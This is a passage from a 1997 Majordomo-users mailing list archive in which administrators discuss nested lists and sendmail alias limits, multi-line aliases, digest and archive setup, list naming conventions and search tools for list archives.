Jun 1997 18:08:53 -0700 (PDT) Cc: chuqui@plaidworks.com, kynn@idyllmtn.com, Majordomo-Users@GreatCircle.COM In-Reply-To: from "Jason L Tibbitts III" at Jun 13, 97 07:14:58 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Jason wrote: > >>>>> "CVR" == Chuq Von Rospach writes: > CVR> and thanks for the warning on glimpse... > There's nothing wrong with Glimpse itself; I use it as the search engine > for all of my archives and it's nice and fast. GlimpseHTTP is another > matter; I never could figure out how to configure it, so I wrote my own. > Of course, you'd probably find my stuff as opaque as GlimpseHTTP. That's my assessment too. I'd write my own except I hate reinventing the wheel. :) There's something nice that the HTML Writers Guild uses for a site index on Iserver; I need to do some investigating and find out if I can use it on my site. :) [As I recall, being the one who set it up on hwg.org, it was "provided" by Iserver but I have no idea where they got it from.] --Kynn From owner-majordomo-users-outgoing Sat Jun 14 03:26:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id DAA08882 for majordomo-users-outgoing; Sat, 14 Jun 1997 03:26:06 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id DAA08875 for ; Sat, 14 Jun 1997 03:25:57 -0700 (PDT) Received: from pm2-08.abc.se (pm2-08 [192.36.170.57]) by tor.abc.se (8.8.5/8.8.5) with SMTP id MAA11300; Sat, 14 Jun 1997 12:27:17 +0200 (MET DST) Message-Id: <199706141027.MAA11300@tor.abc.se> From: "Mats Dufberg" To: "majordomo-users@GreatCircle.COM" Cc: "Jeff A. Webb" Date: Sat, 14 Jun 97 12:23:08 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: list of lists Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Fri, 13 Jun 1997 16:39:43 -0700 (), Jeff A. Webb wrote: > >Is it possible to have a list that refers to other lists? for instance... > >list-a (30 members) >list-b (20 members) >lict-c (50 members) > >master-list (list-a,list-b,list-c) Sure. Create your sublists and let people subscribe to the appropriate list. Create your masterlist and let *listowner* subscribe the sublists approve password sublist@domain.se masterlist There are limitations on how many levels of embeddings of lists from sendmails point of view. But watch out for circular references. Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Sat Jun 14 07:11:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA21289 for majordomo-users-outgoing; Sat, 14 Jun 1997 07:01:27 -0700 (PDT) Received: from tor.abc.se (tor.abc.se [192.36.170.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA21247 for ; Sat, 14 Jun 1997 07:01:18 -0700 (PDT) Received: from pm2-05.abc.se (pm2-05 [192.36.170.54]) by tor.abc.se (8.8.5/8.8.5) with SMTP id QAA14961 for ; Sat, 14 Jun 1997 16:02:52 +0200 (MET DST) Message-Id: <199706141402.QAA14961@tor.abc.se> From: "Mats Dufberg" To: "Majordomo Users" Date: Sat, 14 Jun 97 16:02:15 +0200 Reply-To: "Mats Dufberg" X-Mailer: PMMail 1.92 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Subject: Re: list of lists Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sat, 14 Jun 97 12:23:08 +0200, Mats Dufberg wrote: >There are limitations on how many levels of embeddings of >lists from sendmails point of view. But watch out for >circular references. Should be "There are NO limitations ...". :-) Mats Dufberg mats.dufberg@abc.se From owner-majordomo-users-outgoing Sat Jun 14 07:56:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA25414 for majordomo-users-outgoing; Sat, 14 Jun 1997 07:49:31 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA25407 for ; Sat, 14 Jun 1997 07:49:26 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id IAA21554; Sat, 14 Jun 1997 08:51:03 -0600 (MDT) Message-Id: <199706141451.IAA21554@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Searchable Archives --> was Re: hmonarc... Date: Sat, 14 Jun 97 10:59:55 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "CVR" == Chuq Von Rospach writes:> >CVR> Also, recommendations on nice tools to create searchable archives of >CVR> majordomo archives? Anyone have suggestions? Hi, I wrote to Chuq off-line about this but wanted to float it to the bigger list too. I'm about to create a searchable archives for my lists too -- but use a new, off-the-shelf commercial product application. Interested? Nobody on their user-list had worked with Mj before. Phantom is a search engine database + crawler that runs on Win/NT & Mac - see maxum.com. I'm about 2 steps from jumping into this project for my lists with Phantom and I'd love to do a gang tackle this solution. Runs either as a WWW Server or as a WWW Server CGI. The end result wouldn't be a hyper-mail with threads -- but an excite/yahoo type search that should show up the post fiels with rankings by the keywords. There are a number of issues still to be resolved. Such as: looking for the word "peanutbutter" in a monthly archive file that holds 400 posts isn't such a good thing. Looks like I might want to archive every post in its own file to help with searching and the bitter search navigation process for the clients. BTW, I know the fellows at Maxum.com from industry stuff, and I've helped with their beta mirror and PDFing thier manuals -- but I'm not making any sales kick-back or any such thing -- just thinking it would/could perhaps make a decent solution. If interested, let me know off-line. -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Sat Jun 14 08:11:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA25629 for majordomo-users-outgoing; Sat, 14 Jun 1997 07:56:53 -0700 (PDT) Received: from sportsurf.net (sportsurf.net [192.41.36.58]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA25620 for ; Sat, 14 Jun 1997 07:56:48 -0700 (PDT) Received: from [192.204.56.156] (sss.pittsburgh.net [192.204.56.156]) by sportsurf.net (8.8.5) id IAA23763; Sat, 14 Jun 1997 08:58:25 -0600 (MDT) Message-Id: <199706141458.IAA23763@sportsurf.net> X-Authentication-Warning: sportsurf.net: Host sss.pittsburgh.net [192.204.56.156] claimed to be [192.204.56.156] Subject: Re: list of lists Date: Sat, 14 Jun 97 11:07:18 -0000 x-sender: mark@sportsurf.net x-mailer: Claris Emailer 1.1 From: Mark Rauterkus To: cc: Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, Two follow-up questions about a recent answer posted here. >>Is it possible to have a list that refers to other lists? for instance... >> >>list-a (30 members) >>list-b (20 members) >>lict-c (50 members) >> >>master-list (list-a,list-b,list-c) > > >Sure. Create your sublists and let people subscribe to the >appropriate list. Create your masterlist and let *listowner* >subscribe the sublists > >approve password sublist@domain.se masterlist The line above -- is it missing the "subscribe" command? Or, is that understood? Seems to me you'd need this: approved: password subscribe list-a@domain.se master-list >There are limitations on how many levels of embeddings of >lists from sendmails point of view. Next question, what are the limitation on how many levels of embedding from lists is going to happen? This is a sendmail problem? Can let's say 10 lists all be subscribed to one master list? Now I see the next post that says there are no limits. New question: I'm going to do something similar, but I was going to make this all work in the alais files. Now I'm wondering what makes the most sense as far as ease of set-up, flexibility, and now this "limitations" you mention. -------------- Mark Rauterkus, Publisher, S.S.S. mrauterkus@sportsurf.net -------------- From owner-majordomo-users-outgoing Sat Jun 14 08:26:26 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA27560 for majordomo-users-outgoing; Sat, 14 Jun 1997 08:15:48 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA27500 for ; Sat, 14 Jun 1997 08:15:32 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA27800; Sat, 14 Jun 1997 10:17:19 -0500 (CDT) To: Subject: Re: Searchable Archives --> was Re: hmonarc... References: <199706141451.IAA21554@sportsurf.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Jun 1997 10:17:19 -0500 In-Reply-To: Mark Rauterkus's message of Sat, 14 Jun 97 10:59:55 -0000 Message-ID: Lines: 14 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "MR" == Mark Rauterkus writes: MR> There are a number of issues still to be resolved. Such as: looking for MR> the word "peanutbutter" in a monthly archive file that holds 400 posts MR> isn't such a good thing. Not to sound irreverent, but even the cheap, kludgey, hackish all-free solution that I use th archive lists (including this one) can search 35 megabytes of archives (i.e. many thousand messages) in under ten seconds on my not-very-fast Sparc 10. Of course, it doesn't do result scoring but I would hope that something that you have to pay money for would be substantially better. Or perhaps I'm just up on free software. - J< From owner-majordomo-users-outgoing Sat Jun 14 08:32:30 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA28657 for majordomo-users-outgoing; Sat, 14 Jun 1997 08:22:57 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA28640 for ; Sat, 14 Jun 1997 08:22:51 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA27848; Sat, 14 Jun 1997 10:24:38 -0500 (CDT) To: Subject: Re: list of lists References: <199706141458.IAA23763@sportsurf.net> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Jun 1997 10:24:38 -0500 In-Reply-To: Mark Rauterkus's message of Sat, 14 Jun 97 11:07:18 -0000 Message-ID: Lines: 25 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "MR" == Mark Rauterkus writes: MR> Next question, what are the limitation on how many levels of embedding MR> from lists is going to happen? This is a sendmail problem? Can let's MR> say 10 lists all be zubscribed to one master list? MR> Now I see the next post that says there are no limits. Which is untrue; there is a limit. It is quite dependent on the MTA, but I believe most sendmails have a compiled-in limit of around ten recursive expansions before they flag an alias loop. You can change this in the source. Recent versions might let you change it in the config file. Ten is generally enough unless you're doing weird stuff. MR> New question: I'm going to do something similar, but I was going to MR> make this all work in the alais files. Now I'm wondering what makes the MR> most sense as far as ease of set-up, flexibility, and now this MR> "limitations" you mention. Take your pick; either the addresses are included in the list or on the alias line. Note that it isn't really useful to be able to unsubscribe and subscribe the sublists at will, since unless you hack the code the sublists will be sent all of the notifications and welcome material. - J< From owner-majordomo-users-outgoing Sat Jun 14 08:41:33 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA00613 for majordomo-users-outgoing; Sat, 14 Jun 1997 08:34:54 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA00571 for ; Sat, 14 Jun 1997 08:34:45 -0700 (PDT) Received: from ornet.ornet.co.il ([194.90.140.162]) by ornet.ornet.co.il (8.7.6/8.7.3) with SMTP id SAA27101 for ; Sat, 14 Jun 1997 18:36:24 +0300 (IDT) Message-Id: <2.2.32.19970614152709.0069aca4@pop.ornet.co.il> X-Sender: ricky@pop.ornet.co.il X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 14 Jun 1997 18:27:09 +0300 To: Majordomo-Users@GreatCircle.com From: Ricky and Brenda Marek Subject: [Q] Allowing messages only if they contain some key in the subject line.. Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, One of our internal lists that is `open' and `non-moderated', has one convention: Users need to classify their messages by prefixing the subject with a well-known tag in the list. (e.g. RFC, DRAFT, FYI, etc). There are some 10-15 well known tags. (Case is not important) Now that I'm passing from the old listserv program to majordomo, I would like to limit the messages sent, and allowing only those that have the correct tag. Messages without a tag must be rejected. Now, I don't want to make this list `moderated'. Is there a way to do it? (The solution I see is using a negated condition in the taboo-headers, but I'm looking also for another solution) Thanks. --- Ricky (From home) e-mail: ricky@ornet.co.il From owner-majordomo-users-outgoing Sat Jun 14 08:56:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA02038 for majordomo-users-outgoing; Sat, 14 Jun 1997 08:49:25 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA02015 for ; Sat, 14 Jun 1997 08:49:10 -0700 (PDT) Received: from ornet.ornet.co.il ([194.90.140.162]) by ornet.ornet.co.il (8.7.6/8.7.3) with SMTP id SAA27228 for ; Sat, 14 Jun 1997 18:51:01 +0300 (IDT) Message-Id: <2.2.32.19970614154142.0069b424@pop.ornet.co.il> X-Sender: ricky@pop.ornet.co.il X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 14 Jun 1997 18:41:42 +0300 To: Majordomo-Users@GreatCircle.com From: Ricky and Brenda Marek Subject: [Q] aliases for sendmail spreading among many lines? Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hello, I saw examples in the MJ Documetation about the definition of mail aliases for sendmail and something catched my eye: 1) Can aliases spread among more than one line? (See NEWLIST document, example in lines 61-63) 2) Can aliases deal with oppening/closing quotes in different lines? (See NEWLIST document, example in lines 62-63) I saw the same in other documents too, but I don't have them here at home. As far I know, sendmail aliases are limited to one line, with some limits on it's lenght, some sendmail programs allow only 256, others 1024, because they use dbm. The solution to aliases that may spread over sendmail limits, is to split them into other sub-aliases, for example, I would change the example in the NEWLIST document: (in lines 61-63) test-outgoing: test-list, test-digestify,test-archive test-list: :include:/usr/local/Lists/test test-digestify: "|/tools/majordomo/wrapper digest -r -C -l test-digest test-digest-outgoing" test-archve: "|/tools/majordomo/wrapper archive2.pl ....... " Let sendmail work hard, adding new aliases is not a problem, the only overhead is that you may need to add the `owner-xxxxxxxx' for sendmail (?) aliases, so bounced mail can be well dealt. Any comment? TIA --- Ricky (From home) e-mail: ricky@ornet.co.il From owner-majordomo-users-outgoing Sat Jun 14 09:03:55 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA02037 for majordomo-users-outgoing; Sat, 14 Jun 1997 08:49:20 -0700 (PDT) Received: from ornet.ornet.co.il (ornet.co.il [194.90.140.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA02016 for ; Sat, 14 Jun 1997 08:49:11 -0700 (PDT) Received: from ornet.ornet.co.il ([194.90.140.162]) by ornet.ornet.co.il (8.7.6/8.7.3) with SMTP id SAA27231 for ; Sat, 14 Jun 1997 18:51:04 +0300 (IDT) Message-Id: <2.2.32.19970614154144.0069b258@pop.ornet.co.il> X-Sender: ricky@pop.ornet.co.il X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 14 Jun 1997 18:41:44 +0300 To: Majordomo-Users@GreatCircle.com From: Ricky and Brenda Marek Subject: [Q] Making some conventions on lists that users may open... Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk In our site, any user will be able to open his list, and now, because I'm moving into majordomo, I would like to read what others do. (Gain from your experience too :) 1) Do you have a naming convention in your lists? ( e.g. xxx-l, xxx-list, or just xxx) - I want users be able to distinguish betweeen mail groups and mailing lists. 2) In the MJ documentation I saw some conventions used or/and needed, let's say that our list is called xxx xxx The list. xxx-request The requests for the `xxx' xxx-approval The alias used for approval of messages/commands xxx-outgoing A pseudo-alias, not seen by the user that may be used to archive,digest,filter messages. xxx-digest Digests for the list 'xxx' xxx-digest-request The requests for the list 'xxx-digest' xxx-digest-approval Alias for approval of messages/commands xxx-digest-outgoing A pseudo-alias, for dealing with digest list messages.. owner-xxx Owner of the xxx list (sor sendmail?) owner-xxx-outgoing .... owner-xxx-digest .... owner-xxx-digest-outgoing .... Although the user may use only the 'xxx', 'xxx-request' , 'xxx-digest' or 'xxx-digest-request' mail alias, but strings become longer and longer. If we choose to use the names of the lists with the string '-list' things become longer :( - xxx-list, xxx-list-request .... xxx-list-digest-request... Any comments on this issue? I'm new to MJ as you can see :) --- Ricky (From home) e-mail: ricky@ornet.co.il From owner-majordomo-users-outgoing Sat Jun 14 09:26:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA04431 for majordomo-users-outgoing; Sat, 14 Jun 1997 09:17:13 -0700 (PDT) Received: from webster.m-w.com ([206.98.43.4]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA04402 for ; Sat, 14 Jun 1997 09:17:07 -0700 (PDT) Received: by m-w.com (NeXT-1.0 (From Sendmail 5.52)/NeXT-2.0) id AA10892; Sat, 14 Jun 97 12:01:53 EDT Date: Sat, 14 Jun 97 12:01:53 EDT From: awest@webster.m-w.com (Amy West) Message-Id: <9706141601.AA10892@m-w.com> To: majordomo-users@greatcircle.com Subject: archiving help Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk The documentation that I have is very unhelpful regarding splitting the archive & indexing it. Can anyone give me some step-by-step info on how to have the archive split by day and indexed? Thanks, Amy West From owner-majordomo-users-outgoing Sat Jun 14 09:41:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA05508 for majordomo-users-outgoing; Sat, 14 Jun 1997 09:35:44 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA05483 for ; Sat, 14 Jun 1997 09:35:31 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA29552; Sat, 14 Jun 1997 11:37:13 -0500 (CDT) To: Ricky and Brenda Marek Cc: Majordomo-Users@GreatCircle.COM Subject: Re: [Q] aliases for sendmail spreading among many lines? References: <2.2.32.19970614154142.0069b424@pop.ornet.co.il> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 14 Jun 1997 11:37:12 -0500 In-Reply-To: Ricky and Brenda Marek's message of Sat, 14 Jun 1997 18:41:42 +0300 Message-ID: Lines: 23 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RaBM" == Ricky and Brenda Marek writes: RaBM> 1) Can aliases spread among more than one line? (See NEWLIST Yes. RaBM> 2) Can aliases deal with oppening/closing quotes in different lines? Yes. RaBM> As far I know, sendmail aliases are limited to one line, with some RaBM> limits on it's lenght, some sendmail programs allow only 256, others RaBM> 1024, because they use dbm. You're either wrong, or are dealing with old versions. The 1024 character limit is still there on some operating systems, but you have to have a pretty long alias before you overflow even 256 characters. There's generally no need to break the aliases up. Even the messed up sendmail 5.x that some vendors still ship doesn't have the limits you're implying, and that code is nearly a decade old now. - J< From owner-majordomo-users-outgoing Sat Jun 14 10:11:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA07046 for majordomo-users-outgoing; Sat, 14 Jun 1997 09:59:27 -0700 (PDT) Received: from mail.bcpl.lib.md.us (mail.bcpl.lib.md.us [204.255.212.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA07039 for ; Sat, 14 Jun 1997 09:59:21 -0700 (PDT) Received: from localhost by mail.bcpl.lib.md.us (SMI-8.6/SMI-SVR4) id MAA27980; Sat, 14 Jun 1997 12:59:18 -0400 Date: Sat, 14 Jun 1997 12:59:17 -0400 (EDT) From: Chip Old To: Majordomo-Users List Subject: Re: [Q] aliases for sendmail spreading among many lines? In-Reply-To: <2.2.32.19970614154142.0069b424@pop.ornet.co.il> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Sat, 14 Jun 1997, Ricky and Brenda Marek wrote: > 1) Can aliases spread among more than one line? Depends. On most modern systems, an indented line in the aliases file is considered a continuation of the line above. For example, under Solaris 2.5/Sendmail 8.6SMI (which I'm using here) continuation lines work fine in most cases (but see answer to #2). > 2) Can aliases deal with oppening/closing quotes in different lines? This is where the answer to #1 falls apart on some systems. When I first started using Majordomo I used continuation lines for all the long aliases. Things would go fine for a while, then something would trash all multi-line aliases containing quotes. Eventually I realized it was happening every time I used Sun's Solstice User Admin Tool to add new users. When the User Admin tool wrote to /etc/mail/aliases, it did all sorts of strange things to continuation lines containing quotes. Sun confirmed the bug in User Admin Tool, but said it's very low on their bugfix priority list. The solution: Don't use Solstice User Admin Tool if you have continuation lines in /etc/mail/aliases, or... Don't use continuation lines in /etc/mail/aliases, or... If your version of Sendmail supports it, specify a seperate aliases file just for your Majordomo aliases (/usr/local/majordomo/aliases.md or some such). ------------------------------------------------------------------- Chip Old (Francis E. Old) fold@mail.bcpl.lib.md.us Administrator, Internetworking Services Voice: 410-887-6180 Baltimore County Public Library FAX: 410-887-2091 320 York Road ICBM: 39.39910 North Towson, Maryland 21204 U.S.A. 76.60300 West From owner-majordomo-users-outgoing Sat Jun 14 10:41:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA09535 for majordomo-users-outgoing; Sat, 14 Jun 1997 10:29:00 -0700 (PDT) Received: from server1.ols.net (server1.ols.net [206.27.1.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA09525 for ; Sat, 14 Jun 1997 10:28:55 -0700 (PDT) Received: from server1.ols.net (kevin@server1.ols.net [206.27.1.1]) by server1.ols.net (8.8.5/8.8.5) with SMTP id NAA22154 for ; Sat, 14 Jun 1997 13:30:30 -0400 (EDT) Date: Sat, 14 Jun 1997 13:30:29 -0400 (EDT) From: The Woodpecker To: majordomo-users@greatcircle.com Subject: digests Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk I have recently setup majordomo on our server. I seem to have the lists working well, but I'm not real sure about how to configure the digest feature. If anyone has some faqs about digests or a good place to look for info I would greatly appreciate it. kevin From owner-majordomo-users-outgoing Sat Jun 14 11:11:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA12557 for majordomo-users-outgoing; Sat, 14 Jun 1997 11:04:05 -0700 (PDT) Received: from whale.serverhost.net ([207.58.117.35]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA12500 for ; Sat, 14 Jun 1997 11:03:51 -0700 (PDT) Received: from gate.net.gate.net (slip166-72-220-67.sc.us.ibm.net [166.72.220.67]) by whale.serverhost.net (8.8.5/8.8.4) with SMTP id OAA10640; Sat, 14 Jun 1997 14:04:36 -0400 Message-Id: <199706141804.OAA10640@whale.serverhost.net> Comments: Authenticated sender is From: "Robert Mangiafico" To: majordomo-users@GreatCircle.COM Date: Sat, 14 Jun 1997 14:05:21 +0000 Subject: Re: digests CC: The Woodpecker In-reply-to: X-mailer: Pegasus Mail for Win32 (v2.54) Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > I have recently setup majordomo on our server. I seem to have the lists > working well, but I'm not real sure about how to configure the digest > feature. If anyone has some faqs about digests or a good place to look > for info I would greatly appreciate it. In the Doc directory under your majordomo path are files called README.digest, quick-digest-setup, and digest.aliases These will help you get started. digest.aliases shows you all the aliases you need to get digests working. quick-digest-setup tells you how to configure directories and config options. Also, if anyone is interested in configuring digests to work with multiple domains (ie, setting the from: field to the virtual domain for the list), let me know as we have setup digests to work nicely for multiple domains. Robert Mangiafico rmang@lexiconn.com --- LexiConn Internet Services, Inc. mailroom@lexiconn.com http://www.lexiconn.com/ Professional Web Site Hosting / Reseller Programs --- From owner-majordomo-users-outgoing Sat Jun 14 11:26:50 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA14689 for majordomo-users-outgoing; Sat, 14 Jun 1997 11:17:33 -0700 (PDT) Received: from mijcf.org ([206.117.127.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id LAA14674 for ; Sat, 14 Jun 1997 11:17:27 -0700 (PDT) Received: from mff.org (macsmtp [192.9.230.252]) by mijcf.org (8.7.4/8.7.3) with ESMTP id KAA00794 for ; Sat, 14 Jun 1997 10:11:41 -0700 (PDT) Received: from [192.9.230.205] by mff.org with ESMTP (Apple Internet Mail Server 1.1.2f2); Sat, 14 Jun 1997 09:31:39 -0100 X-Sender: jschroeder@192.9.230.252 Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sat, 14 Jun 1997 10:32:27 -0700 To: majordomo-users@GreatCircle.COM From: John Schroeder Subject: digest,archive Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Okay, I've gone through everything in the /Doc folder - and I guess I just don't get it. There are some discrepancies in how the various documents explain digesting - I took this this outline from the quick-setup file I want to set up a group mff-fasttrak-digest, moderated, archived - here is my majordomo.aliases file. (commas are for readability only - lines are unbroken in file) *** majordomo: "|/devel/mail/majordomo/wrapper majordomo owner-majordomo: thomasmann@mff.org, majordomo-owner: thomasmann@mff.org mff-fasttrak: "|/devel/mail/majordomo/wrapper resend -l mff-fasttrak, -h mevw.mff.org mff-fasttrak-outgoing" mff-fasttrak-digest:mff-fasttrak mff-fasttrak-outgoing: :include:/devel/mail/majordomo/lists/mff-fasttrak, "|/devel/mail/majordomo/wrapper digest -r -C -l, mff-fastrak-digest mff-fasttrak-digest-outgoing", "|opt/devel/domo/wrapper archive2.pl -a -d -f /devel/mail/majordomo/lists/mff-fasttrak.archive" mff-fasttrak-digest-outgoing: :include:/devel/mail/majordomo/lists/mff-fasttrak-digest owner-mff-fasttrak:thomasmann@mff.org owner-mff-fasttrak-outgoing:owner-mff-fasttrak owner-mff-fasttrak-digest:owner-mff-fasttrak owner-mff-fasttrak-digest-outgoing:owner-mff-fasttrak mff-fasttrak-request: "|/devel/mail/majordomo/wrapper request-answer mff-fasttrak" mff-fasttrak-digest-request: "|/devel/mail/majordomo/wrapper request-answer mff-fasttrak-digest" mff-fasttrak-approval:thomasmann@mff.org, mff-fasttrak-digest-approval:thomasmann@mff.org ** my digest work dir is /devel/mail/majordomo/digests my lists dir is /devel/mail/majordomo/lists my archive dir is /devel/mail/majordomo/lists/(listname).archive I can subscribe to the -digest list buy there aren't any digest files being written to digests - permissions on all dirs is 775 and and all files have 664 perms on them. uid/gid is majordom/majordom and is a trusted user in sendmail - john From owner-majordomo-users-outgoing Sat Jun 14 13:56:25 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id NAA22314 for majordomo-users-outgoing; Sat, 14 Jun 1997 13:49:02 -0700 (PDT) Received: from sucuri.amazon.com.br (sucuri.amazon.com.br [200.241.240.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id NAA22307 for ; Sat, 14 Jun 1997 13:48:56 -0700 (PDT) Received: from sucuri.amazon.com.br (operacao@sucuri.amazon.com.br [200.241.240.1]) by sucuri.amazon.com.br (8.8.5/8.8.4) with SMTP id RAA12692 for ; Sat, 14 Jun 1997 17:50:32 -0300 Date: Sat, 14 Jun 1997 17:50:32 -0300 (EST) From: Operacao-AmazonNet To: "majordomo-users@GreatCircle.COM" Subject: Big Messages In-Reply-To: <199706141027.MAA11300@tor.abc.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi, I think this is a little bit out of topic, but sometimes we receive *big* messages to the list and users can't download them via pop3. Does anyone knows a script/CGI that can clean this big messages from the users mailboxes with a WEB interface. I saw one once, but I can't find it now. Regards, Marco Gouveia From owner-majordomo-users-outgoing Sat Jun 14 21:27:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA22432 for majordomo-users-outgoing; Sat, 14 Jun 1997 21:02:44 -0700 (PDT) Received: (mcb@localhost) by honor.greatcircle.com (8.8.5/Honor-970427-1) id VAA22376 for majordomo-users@greatcircle.com; Sat, 14 Jun 1997 21:02:35 -0700 (PDT) Received: from estafeta.uam.es (estafeta.uam.es [150.244.9.25]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id EAA11701 for ; Fri, 13 Jun 1997 04:45:20 -0700 (PDT) Received: from cogorza.sdi.uam.es (cogorza.sdi.uam.es [150.244.9.56]) by estafeta.uam.es (8.7.5/8.7.3) with SMTP id NAA26592 for ; Fri, 13 Jun 1997 13:47:36 +0200 (MET DST) Message-Id: <3.0.1.32.19970613135032.006b6cd8@acebo.sdi.uam.es> X-Sender: mer@acebo.sdi.uam.es X-Mailer: Windows Eudora Pro Version 3.0.1 (32) Date: Fri, 13 Jun 